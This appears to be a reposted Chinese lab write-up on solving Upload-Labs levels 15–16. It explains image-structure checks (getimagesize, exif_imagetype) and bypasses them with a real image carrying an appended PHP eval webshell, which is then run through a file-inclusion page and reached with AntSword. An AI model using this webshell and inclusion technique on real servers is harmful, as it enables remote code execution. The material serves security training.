文章总结: 本文详细解析UploadLabs第15-16关的图片马绕过技术,重点分析getimagesize()和exif_imagetype()等真实图片检测函数的局限性。关键发现表明通过构造合法图片结构插入PHP代码可实现绕过,需配合文件包含漏洞执行。实践建议包括使用copy/b命令拼接图片与木马、注意PHP版本差异对代码执行的影响。核心结论是检测通过不等于安全,只要存在文件包含等执行路径即可实现RCE。 综合评分: 85 文章分类: WEB安全,渗透测试,漏洞分析,红队,实战经验
关键点分析
1️⃣ getimagesize()是 PHP 中一个非常常用的内置函数,用于获取图像的大小和类型信息
👉 作用:
- 读取图片信息
- 判断文件是否为“合法图片”
返回结果说明
- 索引 0 给出的是图像宽度的像素值
- 索引 1 给出的是图像高度的像素值
- 索引 2 给出的是图像的类型,返回的是数字,其中1 = GIF,2 = JPG,3 = PNG,4 = SWF,5 = PSD,6 = BMP,7 = TIFF(intel byte order),8 = TIFF(motorola byte order),9 = JPC,10 = JP2,11 = JPX,12 = JB2,13 = SWC,14 = IFF,15 = WBMP,16 = XBM
- 索引 3 给出的是一个宽度和高度的字符串,可以直接用于 HTML 的
标签 - 索引 bits 给出的是图像的每种颜色的位数,二进制格式
- 索引 channels 给出的是图像的通道值,RGB 图像默认是 3
- 索引 mime 给出的是图像的 MIME 信息,此信息可以用来在 HTTP Content-type 头信息中发送正确的信息,如: header(“Content-type: image/jpeg”);
如果getimagesize无法读取图像信息,则返回false。
2️⃣ image_type_to_extension()
👉 返回:
```
.jpg / .png / .gif
### 3️⃣ 判断逻辑
能被识别为图片 → 允许上传
---
## 和第14关的本质区别
| 关卡 | 检测方式 |
| --- | --- |
| 第14关 | 字节判断 |
| 第15关 | **图片结构解析** |
---
👉 看起来更安全了,但其实:
👉 **仍然可以绕过**
# 三、第15关绕过思路
关键点:
👉 `getimagesize()` 只关心:
文件是否“像图片”
---
👉 并不会检查:
* 是否包含PHP代码
* 文件是否被污染
---
## 我们先尝试使用第14关的绕过方式进行尝试。
## 构造文件txt,内容为:
GIF89a<?php@eval($_POST['cmd']); ?>
上传测试:

直接上传错误。
## 为什么会报错?
因为:
* 图片结构不完整 ❌
* getimagesize() 解析失败 ❌
正确思路:构造“真实图片马”
## 核心思想
👉 **不是伪造图片,而是:**
在“真实图片”中插入PHP代码
---
👉 这才叫:
👉 **图片马(Image WebShell)**
四、实践绕过
1、构造图片马
方法:copy /b 拼接(Windows)
准备两个文件:
---
### 1️⃣ 一个正常图片
test.jpg

可以看到我们添加一句话木马后的图片显示与我们的正常图片无异。
当我们用记事本方式打开我们创建的图片会发现结尾附上了我们的一句话木马。

2、上传图片
选择我们构造的图片马

可以看到我们上传图片的地址为:
</code></pre>
<p>http://192.168.243.128/uploadlabs/upload/8720260414024147.jpeg</p>
<pre><code>3、利用文件包含漏洞执行我们的一句话木马

发现报错。蚁剑也无法连接。
经过尝试不同的图片,发现问题依然存在。于是怀疑可能是php版本问题。
将php版本由5.2.17+Apache切到php 7.1.13nts+Apache

再次访问
</code></pre>
<p>http://192.168.243.128/uploadlabs/include.php?file=./upload/7020260416011437.png</p>
<pre><code>我们就会发现这样的页面:

再次用蚁剑连接:
连接地址:
</code></pre>
<p>http://192.168.243.128/uploadlabs/include.php?file=./upload/7020260416011437.png</p>
<pre><code>密码:cmd

连接成功。
为什么换版本就能成功?
不同PHP版本在解析 include 文件时,对非法字符的容忍度不同,部分版本会在遇到PHP标签前忽略非PHP内容,从而成功执行后续代码。
5、第16关通关实践:
源码对比:
| | |
| --- | --- |
| 第15关 | 第16关 |
|  |  |
这两个关卡仅仅是验证图片的函数不一致。
exif\_imagetype相较getimagesize()更为快速:
| 特性 | `exif_imagetype()` | `getimagesize()` |
| --- | --- | --- |
| **返回值** | 返回图像类型常量(如 `IMAGETYPE_JPEG`) | 返回详细数组(宽度、高度、MIME等) |
| **读取信息量** | 只读类型(读取文件头部少量字节) | 读取更多信息(头部+部分元数据) |
| **执行速度** | 更快(约2-3倍) | 较慢 |
| **内存占用** | 极小 | 相对较大 |
| **适用场景** | 快速验证图像类型 | 需要图像尺寸等详细信息 |
| **依赖扩展** | 需要 `exif` 扩展 | 内置,无需额外扩展 |
| **价值** | **高** (快速判断是否为真实图片) | 中(信息过多,非必要) |
我在实验的时候,发现第16关任何文件都上传都会出现页面无显示的情况,约莫是环境出现问题。

于是我采用docker搭建的靶场环境进行对应关卡实验。docker环境中第15关对应windows环境下的第16关。因为前面有一个关卡在win环境下是有的,而在docker中使用linux搭建的环境下是没有的。
依然采用我们在之前关卡构造的图片马进行上传测试:

发现能够上传成功。
利用文件包含漏洞访问我们本次上传的文件:
</code></pre>
<p>http://192.168.1.9:8080/include.php?file=./upload/1520260415174930.png</p>
<pre><code>
尝试用蚁剑连接:
连接地址:
</code></pre>
<p>http://192.168.1.9:8080/include.php?file=./upload/1520260415174930.png</p>
<pre><code>密码:cmd

至此,15、16关靶场通关。
总结
这两关的核心难点在于:
👉 **如何构造一个既能通过真实图片检测,又能在特定场景下执行的文件**
相较于第14关:
### 1️⃣ 检测机制升级
从第14关的:
</code></pre>
<p>只检测文件头(2字节)</p>
<pre><code>升级为:
</code></pre>
<p>通过 getimagesize() 和exif_imagetype()解析图片结构</p>
<pre><code>👉 不能再使用简单伪造文件头的方式绕过
### 2️⃣ 绕过方式升级
第14关:
</code></pre>
<pre><code>伪造图片(GI + PHP)
</code></pre>
<pre><code>第15、16关:
</code></pre>
<pre><code>真实图片 + 插入PHP代码(图片马)
</code></pre>
<p>我们可以总结出:</p>
<pre><code>检测通过 ≠ 安全
</code></pre>
<p>真正决定漏洞是否成立的,是:</p>
<ul>
<li>文件内容是否可控</li>
<li>是否存在执行路径</li>
<li>是否存在解析差异</li>
</ul>
<p>👉 一旦满足:</p>
<p>可控文件 + include执行</p>
<p>👉 就可以实现:</p>
<p>👉 RCE(远程代码执行)
“`</p>
<p>即使检测再严格,只要文件被原样保存,就仍然可能被利用.</p>
<hr />
<p><strong>免责声明:</strong></p>
<blockquote>
<p>本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。</p>
<p>任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。</p>
<p>本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的<strong>联系我</strong>。</p>
</blockquote>
<p>本文转载自:武文学网安 武文学网安
武文学网安《Upload Labs 第15-16关详解:图片马绕过与检测机制升级》</p> </div>
<div class=)
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论